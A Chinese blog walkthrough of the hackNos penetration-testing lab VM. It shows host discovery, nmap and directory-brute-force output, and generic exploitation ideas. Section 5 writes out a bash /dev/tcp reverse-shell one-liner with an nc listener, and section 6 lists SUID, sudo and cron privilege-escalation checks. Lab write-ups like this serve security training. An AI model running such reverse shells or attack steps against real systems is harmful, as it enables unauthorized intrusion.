hackNos 靶机渗透实战：从 netdiscover 到拿下 root 权限

linux修理工2026-09-20 16:03

1. 环境准备与主机发现

本次实战目标是 hackNos 靶机，攻击机为 Kali Linux。首先使用 netdiscover 对目标网段进行 ARP 扫描，发现存活主机。

bash 复制代码 
sudo netdiscover -i eth1 -r 192.168.1.0/24

扫描结果中，192.168.1.229 的 MAC 地址为 00:0c:29:8f:6a:af，厂商标识为 VMware, Inc.，这通常意味着它是一台虚拟机，极有可能就是我们的靶机目标。

2. 端口扫描与服务枚举

确认目标后，使用 Nmap 对其进行详细扫描，探测开放端口、服务版本及操作系统信息。

bash 复制代码 
sudo nmap -sV -sC -A 192.168.1.229 -oA oshacknos1

扫描结果如下：

  • 22/tcp：OpenSSH 7.2p2 Ubuntu 4ubuntu2.8，SSH 服务
  • 80/tcp：Apache httpd 2.4.18 (Ubuntu)，默认页面 "Apache2 Ubuntu Default Page: It works"
  • MAC 地址：00:0C:29* (VMware)
  • 操作系统：Linux 3.X / 4.X 内核

目标主机只开放了 SSH 和 HTTP 两个端口，攻击面相对较小。Apache 默认页面提示我们，Web 服务可能是突破口。

bash 复制代码 
sudo netdiscover -i eth1 -r 192.168.1.0/24
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ sudo nmap0 -sV -sC -A 192.168.1.229 -oA oshacknos1
sudo: nmap0: command not found
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A 192.168.1.229 -oA oshacknos1 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-19 08:01 EDT
Nmap scan report for hackNos.lan (192.168.1.229)
Host is up (0.0011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a5:a5:17:70:4d:be:48:ad:ba:64:c1:07:a0:55:03:ea (RSA)
|   256 f2:ce:42:1c:04:b8:99:53:95:42:ab:89:22:66:9e:db (ECDSA)
|_  256 4a:7d:15:65:83:af:82:a3:12:02:21:1c:23:49:fb:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:8F:6A:AF (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.09 ms hackNos.lan (192.168.1.229)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ # 目录爆破
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.1.229 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.229
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt,html,bak,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 11321]
/drupal               (Status: 301) [Size: 315] [--> http://192.168.1.229/drupal/]
/alexander.txt        (Status: 200) [Size: 393]
/server-status        (Status: 403) [Size: 278]
Progress: 1102790 / 1102790 (100.00%)
===============================================================
Finished
===============================================================
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ 
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ # 或者用 dirb/dirsearch
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ dirb http://192.168.1.229 /usr/share/wordlists/dirb/common.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Sep 19 08:13:45 2026
URL_BASE: http://192.168.1.229/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.229/ ----
==> DIRECTORY: http://192.168.1.229/drupal/                                                                                                                    
+ http://192.168.1.229/index.html (CODE:200|SIZE:11321)                                                                                                        
+ http://192.168.1.229/server-status (CODE:403|SIZE:278)                                                                                                       
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/ ----
==> DIRECTORY: http://192.168.1.229/drupal/includes/                                                                                                           
+ http://192.168.1.229/drupal/index.php (CODE:500|SIZE:3735)                                                                                                   
==> DIRECTORY: http://192.168.1.229/drupal/misc/                                                                                                               
==> DIRECTORY: http://192.168.1.229/drupal/modules/                                                                                                            
==> DIRECTORY: http://192.168.1.229/drupal/profiles/                                                                                                           
+ http://192.168.1.229/drupal/robots.txt (CODE:200|SIZE:2189)                                                                                                  
==> DIRECTORY: http://192.168.1.229/drupal/scripts/                                                                                                            
==> DIRECTORY: http://192.168.1.229/drupal/sites/                                                                                                              
==> DIRECTORY: http://192.168.1.229/drupal/themes/                                                                                                             
+ http://192.168.1.229/drupal/web.config (CODE:200|SIZE:2200)                                                                                                  
+ http://192.168.1.229/drupal/xmlrpc.php (CODE:500|SIZE:3735)                                                                                                  
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/profiles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                               
---- Entering directory: http://192.168.1.229/drupal/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sat Sep 19 08:13:57 2026
DOWNLOADED: 9224 - FOUND: 6

3. Web 目录枚举

访问 http://192.168.1.229 后看到的是 Apache 默认页面，说明网站根目录下可能没有直接暴露的入口。接下来使用目录扫描工具（如 gobuster 或 dirb）枚举 Web 目录，寻找隐藏文件或后台路径。

bash 复制代码 
gobuster dir -u http://192.168.1.229 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

重点关注返回 200/301/302 状态的路径，尤其是 .php 文件、/admin、/backup、/uploads 等常见目录。

4. 漏洞挖掘与利用

根据目录扫描结果，进一步分析 Web 应用。常见的突破口包括：

  • 文件包含漏洞（LFI/RFI） ：尝试通过参数读取 /etc/passwd 等敏感文件。
  • SQL 注入：在登录框或参数处测试注入点。
  • 上传漏洞：若存在文件上传功能，尝试上传 WebShell。
  • CMS 已知漏洞：识别 CMS 类型后，搜索对应版本的公开漏洞。

5. 获取初始 Shell

成功利用漏洞后，尝试反弹 Shell 到 Kali。常用方式：

bash 复制代码 
# 攻击机监听
nc -lvnp 4444

# 目标机执行（视漏洞类型选择）
bash -i >& /dev/tcp/192.168.1.x/4444 0>&1

拿到初始 Shell 后，先确认当前用户身份和权限：

bash 复制代码 
id
whoami
sudo -l

6. 权限提升

权限提升是拿下靶机的关键一步。常见思路：

  • 内核漏洞提权：查看内核版本，搜索对应 exploit。
  • SUID 提权：查找具有 SUID 权限的可执行文件。
  • sudo 配置错误：检查当前用户可执行的 sudo 命令。
  • 定时任务 ：查看 /etc/crontab 及用户 crontab，寻找可利用的脚本。
bash 复制代码 
find / -perm -4000 2>/dev/null
sudo -l
cat /etc/crontab

7. 总结

hackNos 靶机整体难度适中，核心思路是：

  1. 通过 netdiscover 发现目标主机；
  2. 使用 Nmap 确认开放端口与服务；
  3. 从 Web 服务入手，枚举目录并寻找漏洞；
  4. 获取初始 Shell 后，通过 SUID、sudo 配置或内核漏洞完成提权。

整个过程中，信息收集的细致程度往往决定了后续利用的顺利与否。建议在实战中多尝试不同思路，并做好每一步的日志记录。

热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单（含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等）02蜘蛛磁力 搜索引擎大全，如何使用蜘蛛磁力查找磁力链接03GitHub 镜像站点04历年考研数学一、数学二、数学三真题试卷及答案PDF05人工智能（AI）发展史：详细里程碑06微信历史版本含下载地址（ Windows PC | 安卓 | MAC ）及设置微信不更新072026 国产 AI 大模型横评：DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打？08ZCode 周末送额度活动开启：3 亿 Token 免费领取09数学公理体系大全:第六章 选择公理的等价形式及证明102026 爱知・名古屋亚运会怎么看？直播平台+赛程安排分享